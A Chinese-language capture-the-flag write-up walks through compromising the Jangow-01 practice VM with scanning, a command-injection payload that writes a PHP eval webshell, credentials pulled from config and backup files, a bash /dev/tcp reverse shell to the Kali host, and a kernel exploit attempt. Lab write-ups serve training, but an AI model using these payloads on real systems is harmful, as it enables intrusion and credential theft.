一、打靶准备
1.导入靶机
1、将我们下载好的jangow-01-1.0.1靶机导入进VMvare中
这里的靶机是后缀.ova结尾的,第一次它会出现一个弹窗,不要管它,继续就可导入成功!
2.修改靶机网卡
这个靶机本来是在virtualBOX(这个和vmware 一样,都是虚拟机的管理工具)上运行的,不修改配置的话,在vmware中仍然可以启动,但是用kali会扫描不到ip地址,原因是网卡不一样,但是如果我们既安装了virtualBOX,又安装了vmware ,两个虚拟机管理工具可能会发生冲突,所以我们先来修改下靶机的网卡配置,确保我们不会发生错误.当然,如果你有virtualBOX,那就直接能用,可以跳过这步.
2.1 调整靶机的网络模式
把靶机的网络模式调成和攻击机kali一样的网络模式,我的kali是NAT模式,
2.2 修改网卡操作
在系统启动时(⻓按shift键)直到显示以下界⾯ ,我们选第二个,按回车。
继续选择第二个,按回车。
会出现如下界面,按e进入编辑模式,进入以下界面。
接下来, 删除"recovery nomodeset"并在末尾添加"quiet splash rw init=/bin/bash"
Ctrl+x 启动
编辑⽂件sudo vim /etc/network/interfaces (将⽹卡信息设置为ens33),重启靶机即可⽣效。)
最后:如下
3.准备攻击机kali
sudo su 提升为root权限
我的kali的IP地址是192.168.2.141
二、扫描靶机ip
这里扫描出四个ip地址,小地址192.168.2.1是我虚拟机的网关的地址,192.168.2.3是虚拟网卡NAT网卡的地址,大地址:192.168.2.254是DHCP服务器的地址.所以就剩下这个中间的地址:192.168.2.148,就是靶机的地址。
arp-scan -l
打开vmware的虚拟网络编辑器,查看自己的网关(默认网关是.2,我的改为了.1)
在宿主机(本机)上看NAT 网卡的名字叫 VMnet8
三、扫描端口
发现靶机开放了21端口(ftp默认端口),80端口(http默认端口,http端口是直接可以访问到的).
nmap -sS -A -O -sV -P- 192.168.2.148
sS: SYN扫描,使用最频繁,安全,快
-A: 强力扫描, 启用操作系统检测,版本检测,脚本扫描和跟踪路由
-O: 使用TCP/IP进行远程OS指纹识别 ,对主机的操作系统进行扫描
-sV: 对端口上的服务程序版本进行扫描
-p-: 扫描所有端口
访问192.168.2.148:80(80端口就是默认端口,访问时可以不加这个端口,也可以加),我们发现了index of / :说明这是一个目录索引,我们挨个点进去看看能不能发现点有用的东西.
点击site/出现首页.点点看,试着查看下网页源代码(因为很多东西从源代码是能看出来的),好像并没有什么发现.
四、扫描目录
dirb http://192.168.2.148
可以发现有
这些扫出来的地址都可以访问试试,最后我们进入到http://192.168.2.148/site/index.html目录下.也就是我们前面访问的80端口进去,点那个/site出现的页面.
我们把能点的地方都点点,最后我们点到Buscar时发现:
http://192.168.2.148/site/busque.php?buscar=
这个页面虽然是空白页面,但是上方的urL地址栏里有?buscar= 这不是意味着我们可以传参数了?所以,我们试试传点参数,看看页面有没有回显或者变化.
我们传个id进去试试,卧槽,把咱们传的id带进来了,说明这里没有对我们传入的参数进行限制,那我们不得传点有意思的东西进去,比如说,一句话木马(嘿嘿)..
ok,既然id能传进去,我们试着传句木马进去,看看
http://192.168.2.148/site/busque.php?buscar=echo '<?php eval($_POST["cmd"]);' > shell.php
用蚁剑连接试试
我们成功用蚁剑进行了连接,赶快进去看看有啥好东西没?(直接在它电脑里游泳爽)!!!
这里看到了我们传进来的shell.php,嗯不错,再看看有没有账号密码什么的,因为前面目录扫描的时候.扫到了wordpress(网站管理工具)找到后台说不定能登录进去呢.
好,账号密码有了,我们再去好好看看前面的目录扫描,发现并没有找到它的后台登录界面.(oh fuck!!!)
我们进到wordpress目录下的/config.php文件,看到了敏感信息.
接着我们又在html/.backup目录下发现了敏感信息.
整理一下我们的上面过程的信息收集,从最开始的端口扫描,我们扫出来了21端口,80端口,再到目录扫描,我们扫到了一些目录,比如wordpress目录,js目录,assets目录,如下图这些目录,还有两套密码,一套是wordpress的,但是我们找不到后台,还有一套密码,不知道是干啥的,我们试一下21端口,用那套密码连接一下.
这里我们在kali上用我们得到的的用户名jangow01 密码:abygurl69去登录ftp,发现登录成功.
五、反弹shell
在kali上开启监听 端口的话用443,因为靶机只能用443端口
kali的ip 192.168.2.141
在靶机终端输入下面的命令,这里我们用蚁剑去打开靶机终端
bash -c 'bash -i >& /dev/tcp/192.168.2.141/443 0>&1'
讲一下这里的bash -c ,我们在蚁剑打开靶机终端的时候,不是标准的shell环境,bash命令是运行不了的,所以要加上bash -c,其是以命令处理语句。
成功反弹shell
试着玩一玩
六、提权
当前为www-data权限,所以需要提权,查看内核版本和发行版本。
uname -a
lsb_release -a
通过上一步可知内核版本为4.4.0-31,发行版本为Ubuntu16.04,利用searchsploit工具搜索一下,搜索内核版本和发行版本都可以,发行版本多一些。
searchsploit ubuntu 4.4.0-31
searchsploit ubuntu 16.04
本文选用内核版本的第一个45010.c,(具体选哪个,我们得看文件介绍,比如我们这里要提权,就看包的后面介绍,比如 local Privilege Escalation就是本地提升权限的意思,如下图) 将45010.c下载到本地.
gcc 45010.c -o exp1
把文件从kali里拖到宿主机,再从宿主机拉到蚁剑的目录下
在蚁剑的靶机终端操作如下图:
ls
chmod + x exp1
ls -al
./exp1 执行文件,如果执行文件成功,也就意味着我们提权成功!
这里是由于kali版本太高了,我的kali是2014版本,报错的原因是GLIBC_2.34版本找不到,这很正常,毕竟2014kali的这个版本是2.6多了。思路就是这个思路,最后没有提权成功是kali的问题哈.
励志语句!!!!
当你在荒废时间,有多少人在拼命。别在最该奋斗的日子,选择了安逸。